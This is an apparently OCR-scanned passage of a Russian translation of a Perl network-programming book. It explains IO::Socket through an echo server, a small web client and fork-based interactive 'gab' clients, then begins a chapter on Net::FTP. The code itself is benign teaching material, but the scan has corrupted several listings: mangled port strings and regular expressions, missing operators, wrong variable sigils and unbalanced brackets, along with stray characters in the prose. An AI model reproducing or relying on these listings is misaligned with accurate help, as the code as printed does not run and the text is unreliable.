а если он не указан, по умолчанию принимается жестко закодированная константа. После
этого выполняется вызов метода ю::Socket: :iNET->new() с параметрами, которые
определяют создание приемного сокета, привязанного к указанному локальному порту. Другие
параметры устанавливают опцию sc_reuseaddr равной истинному значению и определяют тайм-
аут 1 час (60*60 с) для операции accept ().
136 Часть!. Основы
Когда параметр Timeout установлен, каждый последующий вызов метода accept О будет
возвращать значение undef, если в течение времени, указанного этим параметром, не было
получено ни одного входящего запроса на установление соединения.
Однако в данной программе это средство применяется не ради его самого, а в связи с тем, что
оно изменяет поведение метода accept (), исключая возможность автоматического
перезапуска после прерывания сигналом. Это позволяет прервать работу сервера с помощью
комбинации клавиш <Ctri+C>, не вкладывая сам вызов accept () в блок eval {} (см. главу 2,
раздел "Прекращение по тайм-ауту продолжительных системных вызовов').
• Строки 16-31. Вход в главный цикл. После вывода сообщения о состоянии программа
входит в цикл, который продолжается до тех пор, пока в обработчике прерывания шт
флажок $quit не будет установлен равным истинному значению. При каждом проходе по циклу
вызывается метод accept (). Если вызов метода accept () выполняется без прерывания
сигналом или без выхода по собственному тайм-ауту, он возвращает новый подключенный
объект сокета, который сохраняется в переменной $session. В ином случае вызов
accept о возвращает значение undef, и в этом случае происходит переход в начало
цикла. Это дает возможность проверить, установил ли обработчик прерывания флажок $qu±t
равным истинному значению.
• Строки 19-21. Получение имени удаленного хоста и номера порта. Вызывается метод
peeraddr () подключенного сокета для получения упакованного IP-адреса другого участника
соединения и предпринимается попытка преобразовать его в имя хоста с использованием
функции gethostbyaddr(). Если вызов функции завершается неудачей, она возвращает
значение undef и вызывается метод peerhosto для получения адреса удаленного хоста
в виде четырех чисел, разделенных точками.
Для получения номера порта удаленного хоста применяется метод peerport (), а затем
адрес и номер порта выводятся на стандартное устройство вывода сообщений об ошибках.
■ Строки 22-30. Обработка информации, передаваемой в соединении. Выполняется чтение
строк, поступающих из подключенного сокета, их инвертирование (изменение порядка
следования символов на противоположный) и вывод в сокет с учетом числа полученных и
отправленных байтов. Единственное отличие от приведенного ранее примера состоит в том, что
теперь каждая строка оканчивается символами crlf.
После завершения работы удаленного хоста при следующей попытке чтения из
подключенного сокета будет получено значение eof. Выполняется вывод предупреждающего
сообщения, закрытие подключенного сокета и переход в начало цикла для следующего вызова
метода accept().
После вызова на выполнение сценарий работает так же, как и предыдущая версия,
но в сообщениях о состоянии содержатся имена хостов, а не IP-адреса в виде четырех
чисел, разделенных точками.
% tcp_echo_serv2.pl
waiting for incoming connections on port 2007...
Connection from [localhost, 2895]
Connection from [localhost,2895] finished
Connection from [formaggio.cshl.org,12833]
Connection from [formaggio.cshl.org,12833] finished
~C
bytes_sent = 50, bytes_received = 50
Web-клиент
В этом разделе описан небольшой сценарий Web-клиента под названием
web_fetch.pl. Этот сценарий считывает URL (Universal Resource Locator—
Унифицированный локатор ресурса) из командной строки, интерпретирует его, выполняет
запрос и выводит ответ Web-сервера на стандартное устройство вывода. Поскольку
этот сценарий возвращает неотформатированный ответ с Web-сервера, не выполняя
Глава 5. АР1-иптерфейс 10:.Socket
137
его обработку, он очень удобен для отладки плохо работающих сценариев CGI
(Common Gateway Interface— Стандартный межсетевой интерфейс) и
непосредственного просмотра других типов динамического информационного наполнения,
поступающего с Web-сервера.
Протокол передачи гипертекста (HTTP— Hypertext Transfer Protocol)— это
основной протокол для Web-серверов. Мощь и привлекательность этого протокола
отчасти обусловлены его простотой. Если клиент должен получить с сервера документ,
он устанавливает соединение TCP с необходимым Web-сервером, посылает краткий
запрос, а затем получает ответ. После доставки документа Web-сервер разрывает
соединение. Самой сложной частью этой процедуры взаимодействия является
интерпретация URL. Унифицированные локаторы ресурсов протокола HTTP имеют
следующий общий формат.
http://hostname:port/path/to/document# fragment
Все URL протокола HTTP начинаются с префикса http://. За ним следует
имя хоста, такое как www. yahoo. com, двоеточие и номер порта, через который
Web-сервер принимает входящие запросы. Двоеточие и номер порта могут быть
опущены, и в этом случае подразумевается стандартный порт сервера 80. За
именем хоста и номером порта следует путь к требуемому документу
path/to/document, для определения которого используются соглашения по
обозначению пути к файлу системы UNIX. За путем доступа может следовать знак
"#" и имя фрагмента fragment, обозначающее подраздел документа, к которому
Web-броузер должен выполнить прокрутку.
Описываемый здесь клиент интерпретирует компоненты URL, преобразуя их
в комбинацию hostname: port (имя хоста:порт) и path (путь доступа). Имя
фрагмента игнорируется. Затем выполняется подключение к указанному серверу
с помощью сокета TCP и отправка запроса HTTP в следующей форме.
GET /path/to/document HTTP/1.0 CRLF CRLF
Запрос состоит из указания метода запроса "GET", за которым следует один
пробел и указанный путь доступа, буквально скопированный из URL. Затем — еще один
пробел, номер версии протокола, НТТР/1. 0, и две пары символов CRLF. После
отправки запроса сценарий ожидает ответа от сервера. Типичный ответ выглядит
примерно так:
НТТР/1.1 200 ОК
Date: Wed, 01 Mar 2000 17:00:41 GMT
Server: Apache/1.3.6 (UNIX)
Last-Modified: Mon, 31 Jan 2000 04:28:15 GMT
Connection: close
Content-Type: text/html
<!D0CTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<html> <head> <title>Presto Home Page</title> </head>
<body>
<hl>Welcome to Presto</hl>
Ответ состоит из двух частей: заголовка, содержащего информацию о
возвращаемом документе, и самого затребованного документа. Эти две части разделены пустой
строкой, сформированной двумя парами символов CRLF.
Структура ответов HTTP рассматривается более подробно в главе 9, где описана
библиотека LWP, и в главе 13, в которой выполняется разработка более сложного
138
Часть!. Основы
Web-клиента, способного выбирать несколько документов одновременно.
Единственная проблема, которая может возникнуть в данном случае, состоит в том, что
протокол HTTP обеспечивает получение заголовка, состоящего из аккуратных строк
текста, предназначенных для восприятия человеком и оканчивающихся парой символов
CRLF, тогда как сам документ может иметь любой формат. В частности, при
использовании этого клиентского сценария можно быть готовым к тому, что будут получены
двоичные данные, такие как содержимое файла GIF или МРЗ.
В листинге 5.4 полностью приведен сценарий web_f etch. pi.
Листинг 5.4. Сценарий web fetch. pi
10
li
12
13
14
15
#!/usr/bin/perl
# Файл: web_fetch.pl
use strict;
use IO::Socket qw(:DEFAULT :crlf);
$/ = CRLF . CRLF;
my $data;
my $url = shift or die "Usage: web_fetch.pl <URL>\n";
my ($host,$path) = $url = ~m!"http://(["/]+)(/Г\#]*)!
or die "Invalid URL.\n";
my $socket = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => 'httpteO)')
or die "Can't connect: $!";
print $socket "GET $path HTTP/1.0",CRLF, CRLF;
my $header = <$socket>; # Прочитать заголовок
# Заменить CRLF логическим обозначением конца строки
Sheader =~ s/$CRLF/\n/g;
print $header;
print $data while read($socket,$data,1024) > 0;
Проведем анализ программы.
Строки 1-5. Инициализация модуля. Включена строгая проверка синтаксиса и загружен
модуль Ю:: Socket, который импортирует константы, предусмотренные по умолчанию, и
константы символов с обозначением конца строки. Как и в предыдущих примерах, применяются
данные, в которых для обозначения конца строки служат символы celf. Однако в этом случае
значение переменной $ / устанавливается равным ларе последовательностей crlf. В
дальнейшем, при вызове сценария, оператор о выполнит чтение всего заголовка вплоть до лары
последовательностей crlf, которые обозначают конец заголовка.
Строки 6-8. Интерпретация URL. Затребованный URL считывается из командной строки
и интерпретируется с использованием оператора сопоставления с образцом. Оператор
сопоставления с образцом возвращает имя хоста, за которым может следовать двоеточие, номер
порта и путь, вплоть до обозначения фрагмента, но не включая его.
Строки 9,10. Открытие сокета. Открывается сокет, подключенный к удаленному Web-серверу.
Если URL содержит номер порта, этот номер включается в имя хоста, которое присваивается
параметру PeerAddr, а параметр PeerPort игнорируется. В ином случае параметр PeerPort
указывает, что должно быть выполнено подключение к стандартной службе "http", порт 80.
Строка 11. Отправка запроса. На сервер отправляется запрос HTTP в формате,
описанном выше.
Строки 12-14. Чтение и печать заголовка. Первая операция чтения является построчной.
Выполняется чтение из сокета с помощью оператора о. Поскольку переменная $ /
установлена равной паре последовательностей crlf, эта операция чтения охватывает весь заголовок
вплоть до пустой строки. Затем выполняется вывод заголовка на устройстао вывода, но по-
Глава 5. АР1^иптерфейс IO::Socket
139
скольку необходимо избежать появления в выводимых данных лишних символов CR, вначале
выполняется замена всех вхождений переменной $crlf логическим обозначением символа
новой строки ("\п"), который принимает значение символов новой строки, соответствующих
текущей платформе.
• Строка 15. Чтение и печать документа. Последующие операции чтения выполняются в
двоичном режиме. В коротком цикле осуществляется вызов функции re add, чтение вплоть до
1024 байт в каждой операции, а затем их немедленный вывод с помощью функции print ().
Выход из цикла чтения происходит после того, как функция read () встречает условие конца
файла eof и возвращает о.
Ниже приведен пример того, какой результат выдает сценарий web_fetch.pl
после получения запроса доставить начальную страницу с сервера www. cshl. org.
% web_fetch.pl http://www.cshl.org/
HTTP/1.1 200 OK
Server: Netscape-Enterprise/3.5.1С
Date: Wed, 16 Aug 2000 00:46:12 GMT
Content-type: text/html
Last-modified: Fri, 05 May 2000 13:19:29 GMT
Content-length: 5962
Accept-ranges: bytes
Connection: close
<HTML>
<HEAD>
<TITLE>Cold Spring Harbor Laboratory</TITLE>
<META NAME=MGENERATOR" CONTENT="Adobe PageMill 2.0 Mac"> <META
Name="keywords" Content="DNA, genes, genetics, genome, genome
sequencing, molecular biology, biological science, cell biology,
James D. Watson, Jim Watson, plant genetics, plant biology,
bioinformatics, neuroscience, neurobiology, cancer, drosophila,
Arabidopsis, double-helix, oncogenesis. Cold Spring Harbor
Laboratory, CSHL">
Хотя возможность получить Web-страницу с помощью каких-то 15 строк кода
может показаться большим достижением, клиентские сценарии, в которых применяется
модуль LWP, могут выполнять то же самое и намного больше с помощью единственной
строки кода. Применение модуля LWP для доступа к Web описано в главе 9.
Производительность и стиль программы
Хотя API-интерфейс модуля IO:: Socket упрощает программирование и в целом
представляет собой большой шаг вперед с точки зрения ускорения разработки
и улучшения сопровождения кода, он имеет некоторые недостатки по сравнению со
встроенным функционально-ориентированным интерфейсом.
Если в системе обнаруживается нехватка оперативной памяти, следует учитывать,
что модуль IO: : Socket намного увеличивает объем памяти, занимаемый процессами
Perl (приблизительно 800 Кбайт в системе Linux автора на компьютере с
процессором Intel и почти в два раза больше в системе Solaris).
Объектно-ориентированный API-интерфейс также слегка замедляет загрузку
программы. На лэптопе автора программы, разработанные с использованием мо-
140
Часть!. Основы
дуля IO:: Socket, требуют для загрузки примерно на полсекунды больше по
сравнению с программами, в которых применяется функционально-
ориентированный интерфейс Socket. К счастью, скорость выполнения
программ, в которых используется модуль IO: : Socket, отличается от
быстродействия программ с классическим интерфейсом не столь существенно.
Быстродействие сетевых программ обычно ограничивается скоростью работы сети, а не
скоростью их выполнения на компьютере.
Тем не менее при использовании многих методов модуля IO: : Socket,
которые представляют собой тонкие оболочки для соответствующих системных
вызовов и не добавляют значительных функциональных возможностей, автор
предпочитает применять объекты IO: : Socket как простые дескрипторы файлов (не
в объектно-ориентированном стиле). Например, вместо такой синтаксической
конструкции:
$socket->syswrite("A man, a plan, a canal, panama!"};
автор предпочитает следующую.
syswrite($socket, "A man, a plan, a canal, panama!");
По своему действию она полностью аналогична вызову метода, но позволяет
избежать связанных с ним издержек.
Если же метод превосходит по своим возможностям вызов функций, его следует
использовать без колебаний. Например, метод accept () превосходит по своим
возможностям встроенную функцию, поскольку возвращает подключенный объект
IO: : Socket, а не простой дескриптор файла. Этот метод к тому же имеет синтаксис,
который в большей степени отвечает стилю Perl, чем встроенная функция.
Одновременно работающие клиенты
Эта глава завершается общими сведениями по теме, которая станет одним из
центральных вопросов части III, — проблема обеспечения параллельной работы.
Клиент gab, первая попытка
Чтобы получить предмет для обсуждения, рассмотрим небольшую клиентскую
программу, которая может применяться для интерактивного взаимодействия с
серверами, основанными на применении протокола построчной обработки. Эта
программа подключается к указанному хосту и порту и просто действует как прямой канал
связи между удаленным компьютером и пользователем. Все, что вводит пользователь,
передается по сети на удаленный хост, и все, что поступает от удаленного хоста,
отображается на стандартном устройстве вывода.
Эту клиентскую программу можно использовать для взаимодействия с эхо-
серверами, описанными в этой и других главах, или для обмена информацией с
другими серверами в Internet, ориентированными на обработку информации,
представленной в виде строк. К числу наиболее распространенных серверов такого типа
относятся FTP, SMTP и РОРЗ.
Эта клиентская программа получила имя gabl. pi, поскольку она является Первой
из ряда таких клиентов. Пример простой, но неправильной реализации клиента gab
приведен в листинге 5.5.
Глава 5. API-иптерфейс IO::Socket
141
тети 5.5. Неправильная реализация клиента gab
о
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/perl
# Файл: gabl.pi
# Предупреждение: Это - неработоспособный сценарий
use strict;
use IO::Socket qw(:DEFAULT :crlf);
my $host = shift or die "Usage: gabl.pl host [port]\n"
my $port = shift 'echo';
my $socket = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => $port)
or die "Can't connect: $!";
my ($from_server,$from_user) ;
LOOP:
while (1) {
{ # Ограничить область действия переменной $/
local $/ = CRLF;
last LOOP unless $from_server = <$socket>;
chomp $from_server;
}
print $from_server,"\n";
last unless $from_user = <>;
chomp($ from_user);
print $socket $from_user, CRLF;
}
Проведем анализ программы.
• Строки 1-6. Инициализация модуля. Как и прежде, выполняется звгрузкв модуля
Ю:: Socket и выборка требуемого имени удаленного хоста и номера порта из параметров
командной строки.
• Строки 7,8. Создание сокета. С помощью метода ю:: Socket:: iNET->new () создается со-
кет, а в случае неудачного завершения вызывается функция die с сообщением об ошибке.
• Строки 9-21. Вход в главный цикл. Программа входит в цикл. При каждом проходе по циклу
считывается одна строка из сокета и выводится в стандартное устройство вывода. Затем счи-
тывается строка, введенная пользователем, и выводится в сокет.
Поскольку удаленный сервер для обозначения конца каждой строки использует пары символов
crlf, а пользователь выводит обычные символы конца строки, приходится постоянно
устанавливать и переустанавливать значение переменной $/. Проще всего это сделать, поместив код чтения
строки из сокета в небольшой блок и локализовав переменную $/ (с помощью оператора local),
чтобы ее текущее значение автоматически сохранялось при входе в блок и восстанавливалось при
выходе. В самом блоке значение переменной $ / устанавливается равным crlf.
При получении условия конца файла EOF от пользователя или сервера выполняется выход из
цикла путем вызова оператора last.
На первый взгляд этот несложный сценарий кажется работоспособным.
Например, в следующем фрагменте показан сеанс связи с FTP-сервером. Сразу после
подключения сервер выдает заголовок приглашения (код сообщения 220). Пользователь
вводит команду USER протокола FTP, указывает имя "anonymous" и получает
подтверждение. Затем пользователь задает пароль с помощью команды PASS и получает
еще одно подтверждение. Кажется, что все идет гладко.
% gabl.pl phage.cshl.org ftp
220 phage.cshl.org FTP server ready.
USER anonymous
331 Guest login ok, send your complete e-mail address as
142
Часть!. Основы
password.
PASS j doeGnowhere.com
230 Guest login ok, access restrictions apply.
К сожалению, эта идиллия вскоре заканчивается. На следующем этапе
предпринимается попытка выполнить команду HELP, которая должна вывести многострочную
сводку команд FTP. Этого не происходит. Получена первая строка ожидаемого
вывода, после чего сценарий останавливается, ожидая ввода следующей команды.
Пользователь еще раз вводит команду HELP и получает вторую строку вывода первой команды
HELP. После ввода команды QUIT он получает третью строку вывода команды HELP.
HELP
214-The following commands are recognized (* =>'s unimplemented).
HELP
USER PORT STOR MSAM* RNTO NLST MKD CDUP
QUIT
PASS PASV APPE MRSQ* ABOR SITE XMKD XCUP
QUIT
ACCT* TYPE MLFL* MRCP* DELE SYST RMD STOU
QUIT
Очевидно, что синхронизация сценария нарушена. В том виде, какой он
сейчас имеет, сценарий может справляться только с такой ситуацией, когда в ответ на
одну строку, введенную пользователем, поступает одна строка, выведенная сервером.
Не имея возможности обрабатывать многострочный вывод, этот сценарий не может
справиться с ответом на команду HELP.
А что если изменить строку, в которой выполняется чтение с сервера, примерно так:
while ($from_server = <$socket>) {
chomp $from_server;
print $from_server, "\n";
}
К сожалению, после этого дела обстоят еще хуже. Теперь сценарий зависает после
чтения первой строки с сервера. FTP-сервер ожидает от пользователя команды,
а сценарий ожидает поступления еще одной строки от сервера и даже еще не
запросил ввод от пользователя; налицо тупиковая ситуация.
В действительности, никакая примитивная перестановка операторов ввода и
вывода не позволяет устранить эту проблему. Сценарий либо выходит из
синхронизации, либо попадает в безнадежную тупиковую ситуацию.
Клиент gab, вторая попытка
В действительности, задача состоит в том, чтобы отделить процесс чтения с
удаленного хоста от процесса чтения из сокета. Для этого необходимо выделить эти
задачи в два одновременных, но независимых процесса, которые не будут блокировать
друг друга так, как в первой, примитивной реализации клиента gab.
В системах UNIX и Windows эту задачу проще всего решить с использованием
команды fork (} для создания двух копий сценария. Родительский процесс будет
отвечать за копирование данных со стандартного устройства ввода на удаленный хост,
а дочерний процесс — за обработку потока данных в другом направлении. К
сожалению, пользователи Macintosh не имеют доступа к этому системному вызову.
Качественное, но немного более сложное решение, которое позволяет обойтись без вызова
функции fork (), описано в главе 12, "Мультиплексные приложения".
Глава 5. API-интерфейс IO::Socket
143
Как оказалось, в этом сценарии проще всего обеспечить подключение к серверу,
ветвление и создание дочернего процесса, а также передачу каждым процессом
данных по сети, а сложнее всего — синхронизировать клиентский и серверный
процессы, чтобы они корректно завершали свою работу по окончании сеанса. В ином случае
имеется вероятность того, что один процесс будет продолжать работать после
завершения другого.
Разрыв соединения может происходить по двум сценариям. В первом случае этот
процесс инициализирует удаленный сервер, закрывая свой конец сокета. Здесь
дочерний процесс получает сообщение о возникновении условия EOF при следующей
попытке чтения с сервера, и вызывает функцию exit (). Он каким-то образом должен
сообщить родительском)' процессу о том, что прекращает свою работу. Во втором
случае пользователь закрывает стандартное устройство ввода. Родительский процесс
обнаруживает условие EOF при чтении из устройства STDIN и должен сообщить
дочернему процессу, что сеанс окончен.
В системах UNIX предусмотрен встроенный механизм, позволяющий дочерним
процессам сообщать родительским процессам о том, что они прекращают свою
работу. Родительскому процессу автоматически передается сигнал CHLD при завершении
работы каждого из его подпроцессов (а также в случае приостановки или
возобновлении работы подпроцесса; это описано более подробно в главе 10). Чтобы
родительский процесс мог обнаружить закрытие соединения удаленным сервером, в нем
достаточно установить обработчик сигнала CHLD, который вызывает функцию exit ().
Когда дочерний процесс обнаружит, что сервер закрыл соединение, он может
завершить работу и выработать сигнал CHLD. Вызывается обработчик сигнала
родительского объекта и выполняется также выход из этого процесса.
Второй случай, в котором пользователь закрывает устройство STDIN, немного
сложнее. Было бы легче, если бы родительский процесс мог просто уничтожить свой
дочерний процесс с помощью функции kill () после закрытия стандартного устройства
ввода. Однако при этом возникает проблема. То, что пользователь закрыл стандартное
устройство ввода, не означает, что сервер закончил передачу данных пользователю. Если
дочерний процесс уничтожается до того, как будет получена от сервера и обработана
вся оставшаяся информация, некоторая часть данных может быть потеряна.
Более корректный способ действий в этом случае показан на рис. 5.2. Когда
родительский процесс получает сообщение о возникновении условия EOF со стандартного
устройства ввода, он закрывает свой конец сокета, что приводит к отправке на сервер
сообщения о возникновении условия конца файла. Сервер обнаруживает условие EOF,
закрывает свой конец соединения и тем самым снова распространяет действие
условия EOF на дочерний процесс. Дочерний процесс завершается, вырабатывая сигнал
CHLD. Родительский процесс перехватывает этот сигнал и сам завершает работу.
Это — красивое решение, поскольку в нем дочерний процесс не обнаруживает
условия EOF до тех пор, пока не закончит обработку всех данных сервера, находящихся
в очереди. Это гарантирует отсутствие потерь данных. Кроме того, данная схема
действует столь же успешно, если инициатором разрыва соединения является сервер.
При использовании такой схемы есть вероятность риска, которая связана с тем, что
сервер может не выполнить требуемых действий и просто закрыть свой конец
соединения при получении условия EOF. Однако большинство серверов в такой ситуации
ведет себя правильно. Если пользователь обнаружит, что сервер не выполняет
требуемых действий, он всегда может уничтожить и родительский, и дочерний
процессы, нажав клавишу прерывания.
144
Часть!. Основы
Время
Клиент
Родительский
процесс
Сервер
Дочерний
процесс
Tiser_to_hostO
bost_to_userO
Родительский
процесс
CHLD
Дочерний
процесс
Родительский
процесс
Bleep()
exit()
exit()
Рис. 5.2. Закрытие соединения в клиентами программе с ветвлением
В этой схеме есть еще одна тонкость. Родительский процесс не может просто
вызвать функцию close (), чтобы закрыть свою копию сокета и отправить сообщение
о возникновении условия EOF на удаленный хост. В дочернем процессе есть еще одна
копия сокета, и операционная система фактически не закроет дескриптор файла до
тех пор, пока не будет закрыта его последняя копия. Решение состоит в том, чтобы
родительский процесс вызвал для сокета функцию shutdown (1), принудительно
закрыв его для записи. В результате на сервер будет отправлено сообщение о
возникновении условия EOF, а сокет сохранит способность продолжать чтение данных,
поступающих в другом направлении. Этот замысел реализован в листинге 5.6, где приведен
сценарий gab2. pi.
Листинг 5.6. Работоспособная реализа я клиента gab
#!/usr/bin/perl
# Файл: gab2.pi
# Применение: gab2.pl [хост] [порт]
# Сетевой клиент TCP с ветвлением
use strict;
Глава 5. API-интерфейс 10:.'Socket
145
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
use IO::Socket qw(:DEFAULT :crlf);
my $host = shift or die "Usage: gab2.pl host [port]\n"
my $port = shift || 'echo';
my $socket = IO: :Socket::INET->new("$host:$port")
or die $0;
my $child = fork();
die "Can't fork: $!" unless defined $child;
if ($child) {
$SIG{CHLD} = sub { exit 0 };
user_to_host($socket);
$socket->shutdown(1) ;
sleep;
) else {
host_to_user($socket);
warn "Connection closed by foreign host.\n";
}
sub user_to_host {
my $s = shift;
while (<>) {
chomp;
print $s $_,CRLF;
}
}
sub host_to_user {
my $s = shift;
$/ = CRLF;
while (<$s>) {
chomp;
print $_."\n";
}
}
Проведем анализ программы.
Строки 1-7. Инициализация модуля. Включена строгая проверка синтаксиса, загружен
модуль IO:: Socket и выбраны имя хоста и номер порта из командной строки.
Строка 8. Создание сокета. Создается подключенный сокет точно таким же образом, как
и раньше.
Строки 9,10. Вызов функции ветвления. Вызывается функция fork (), и результат
записывается в переменную $child. Помните, что при успешном выполнении функция fork О
создает копию текущего процесса. В родительском процессе функция fork () возвращает PID
дочернего процесса, а в дочернем — числовое значение 0. В случае ошибки функция fork ()
возвращает значение undef. Выполняется проверка этого значения и при его получении
осуществляется выход с сообщением об ошибке.
Строки 11-15. Родительский процесс копирует данные из стандартного устройства
ввода в сокет. Последняя половина сценария разделена на две части. Первая часть относится
к родительскому процессу и обеспечивает чтение строк из стандартного устройства ввода и их
передачу на сервер; вторая часть относится к дочернему процессу и обеспечивает чтение
строк с сервера и запись их в стандартное устройство вывода.
В родительском процессе переменная $child имеет ненулевое значение. По причинам,
описанным выше, устанавливается обработчик для сигнала chld. Этот обработчик просто
вызывает функцию exit (). Затем вызывается подпрофамма usertohost (), которая копирует
данные, введенные пользователем, со стандартного устройства ввода в сокет.
После закрытия стандартного устройства ввода подпрофамма user_to_host() выполняет
возврат. Вызывается метод сокета shutdown (), который закрывает сокет для записи. Теперь
146
Часть!. Основы
программа может перейти в состояние ожидания на неопределенное время, до поступления
сигнала chld, который завершит процесс.
• Строки 16-19. Дочерний процесс копирует данные из сокета в стандартное устройство
вывода. В дочернем процессе вызывается подпрограмма host_to_user () для копирования
данных из сокета в стандартное устройство вывода. Эта подпрограмма выполняет возврат,
когда удаленный хост закрывает сокет. После этого не нужно выполнять каких-либо специальных
действий, достаточно только отправить предупреждающее сообщение о том, что удаленный
хост закрыл соединение. Программа разрешает нормально выйти из сценария и позволяет
операционной системе выработать сообщение chld.
Строки 20-26. Подпрограмма user_to_host(). Эта подпрограмма обеспечивает
копирование строк из стандартного устройства ввода в сокет. В цикле выполняется чтение строк из
стандартного устройства ввода, удаление символа новой строки, а затем вывод строки в сокет
с добавлением в конце символов crlf. После закрытия стандартного устройства ввода
выполняется возврат.
Строки 27-34. Подпрограмма hosfc_to_user О. Эта подпрограмма представляет собой
почти полную копию предыдущей. Единственное отличие состоит в том, что перед чтением из
сокета глобальная переменная разделителя входных записей $/ устанавливается равной crlf.
Обратите внимание, что в этом случае нет смысла локализовать значение переменной $/,
поскольку изменения, сделанные в дочернем процессе, не влияют на родительский процесс.
После чтения последней строки из сокета выполняется возврат.
Может возникнуть вопрос, почему родительский процесс переходит в состояние
ожидания, вместо того чтобы просто завершить работу после того, как он закрыл
с помощью функции shutdown () свою копию сокета. Причина в том, что сразу после
завершения родительского процесса пользователь обнаруживает, что снова
появилось приглашение к вводу команд. Однако дочерний процесс может все еще активно
считывать данные из сокета и передавать их в стандартное устройство вывода. Если
пользователь снова приступит к работе в командной строке, информация, выводимая
дочерним процессом, будет беспорядочно перемешана с тем, что пользователь
вводит в командной строке. Переводя родительский процесс в состояние ожидания до
завершения его работы, можно предотвратить возникновение такой ситуации.
Может также возникнуть вопрос, почему в обработчике сигнала CHLD
применяется вызов функции exit (). Несмотря на то что такая конструкция на платформах
Windows является сомнительной, поскольку она вызывает аварийное завершение,
горькая правда состоит в том, что версия Perl для Windows не обеспечивает
выработку или получение сигналов CHLD при уничтожении дочернего процесса, поэтому
данная проблема остается нерешенной. Для завершения работы сценария gab2. pi на
платформе Windows необходимо нажать клавиш}' прерывания.
При попытке подключиться к FTP-серверу с использованием пересмотренного
сценария результаты становятся намного более удовлетворительными. Теперь
многострочные ответы отображаются правильно и не возникает проблем синхронизации
или тупиковых ситуаций.
% gab2.pi phage.cshl.org ftp
220 phage.cshl.org FTP server ready.
USER anonymous
331 Guest login ok, send your complete e-mail address as password.
PASS okGbetter.now
230 Guest login ok, access restrictions apply.
HELP
214-The following commands are recognized (* =>'s unimplemented).
USER PORT STOR MSAM* RNTO NLST MKD CDUP
PASS PASV APPE MRSQ* ABOR SITE XMKD XCUP
ACCT* TYPE MLFL* MRCP* DELE SYST RMD STOU
Глава 5. API-интерфейс 10:.Socket
147
SMNT* STRU MAIL* ALLO CWD STAT XRMD SIZE
REIN* MODE MSND* REST XCWD HELP PWD MDTM
QUIT RETR MSOM* RNFR LIST NOOP XPWD
214 Direct comments to ftp-bugs@phage.cshl.org
QUIT
221 Goodbye.
Connection closed by foreign host.
Этот клиент может применяться для взаимодействия со многими серверами,
предназначенными для обмена данными в виде строк, но с помощью этого клиента нельзя
успешно обратиться к одной из служб Internet — службе удаленной регистрации Telnet.
Это связано с тем, что серверы Telnet перед открытием сеанса обмениваются с
клиентом некоторой двоичной информацией протокола. При попытке подключиться к порту
Telnet (порт 23) с помощью этого клиента появятся только какие-то странные символы,
а затем наступит пауза, в течение которой сервер будет ожидать, пока клиент не
завершит этап установления соединения по этому протоколу. Для взаимодействия с
серверами Telnet может применяться модуль Net:: Telnet (глава 6).
Резюме
Объектно-ориентированная библиотека IO: : Socket значительно упрощает
сетевое программирование, поскольку позволяет устранить большую часть "громоздкого
кода", унаследованного от API-интерфейса сокетов языка С, и заменить его простым и
удобным интерфейсом. В оставшейся части данной книги применяются объекты
10: : Socket, созданные с использованием гибкого метода new () этого модуля, и
методы этих объектов во всех случаях, когда они обеспечивают значительное
упрощение синтаксической структуры (например, как в вызове $sock->accept ()). Если
объектно-ориентированные вызовы не имеют ощутимых синтаксических
преимуществ перед функционально-ориентированными, например, как при сравнении
$sock->read($data, 1024) и read($sock, $data, 1024), применяются
встроенные функции Perl, которые обеспечивают более высокую производительность.
Модуль IO: : Socket позволяет легко создавать простые клиентские и серверные
программы, такие как Web-клиент и инвертирующий эхо-сервер, описанные в этой
главе. Однако неожиданно возникли сложности при попытке разработать внешне
простое инструментальное средство эхо-повтора команд пользователя, передаваемых
на сервер и обратно. Для решения этой проблемы было создано два процесса с
использованием функции fork (). В следующих главах этой книги будет снова
рассматриваться тема борьбы с тупиковыми ситуациями.
Вы теперь узнали, как строить сетевые приложения на основе библиотеки сокетов
низкого уровня. В следующей части этой книги происходит переход на более высокий
уровень. В ней показано, как обеспечить взаимодействие программы с протоколами
прикладного уровня.
148
Часть!. Основы
Часть II
Разработка
клиентов для
основных служб
На языке Perl можно легко создавать сетевые приложения, и поэтому
с помощью сетевых средств этого языка было разработано
множество модулей высокого уровня для выполнения любых
действий в сети, начиная с отправки электронной почты
и заканчивая доступом к Web-серверам. Разработчики предоставили
в общее пользование несколько десятков сетевых клиентских
модулей, которые по своему объему могут составлять от двух-трех
строк до нескольких тысяч строк кода. В части II рассмотрены
некоторые широко применяемые клиентские модули и показано, как
использовать их для решения типичных проблем. Эти модули
созданы на основе API-интерфейса сокетов Berkeley, который
рассматривался в предыдущих главах.
Глава
FTP и Telnet
Двумя самыми "старыми" протоколами Internet являются FTP (File Transfer
Protocol— Протокол передачи данных) и Telnet (протокол удаленной регистрации).
Они относятся к двум противоположным областям спектра сетевых протоколов: сеанс
FTP состоит из ряда транзакций, которые являются в значительной степени
структурированными и предсказуемыми, а сеанс Telnet непредсказуем и в основном
интерактивен. В языке Perl имеются модули, которые упрощают работу с этими протоколами.
Net::FTP
Предположим, что на удаленном FTP-сервере имеется каталог, в котором каждую
неделю происходят изменения. Вы должны вести зеркальную копию этого каталога на
локальном компьютере и обновлять ее после каждого изменения. Для этого вы не
можете воспользоваться одним из многих сценариев создания "зеркального узла",
поскольку имя каталога содержит отметку времени и нужно выполнять его сопоставление
с образцом, чтобы определить нужный каталог. На помощь приходит модуль Net:: FTP.
Модуль Net: :FTP входит в состав утилит libnet Грэма Барра (Graham Barr).
Кроме Net: : FTP, в состав утилит libnet входят модули Net: :SMTP, Net: :NNTP
и Net: : РОРЗ, описанные в следующих главах. При установке модулей libnet
сценарий инсталляции запрашивает различные параметры конфигурации, которые
должны применяться по умолчанию в модулях Net: : *. К их числу относятся такие
параметры, как имя proxy-сервера FTP и применяемая по умолчанию запись почтового
обмена (MX) для конкретного домена. Дополнительная информация о том, как
изменить значения, заданные по умолчанию, приведена в документации модуля
Net: : Conf ig (который также входит в состав утилит libnet).
В модуле Net: : FTP, как и во многих других клиентских модулях, применяется
объектно-ориентированный интерфейс. Сразу после регистрации на FTP-сервере
модуль возвращает объект Net: : FTP. Затем этот объект можно использовать для
получения с сервера листингов каталогов, передачи файлов и отправки других команд.
Пример применения модуля Net::FTP
В листинге 6.1 приведен простой пример, в котором модуль Net: : FTP
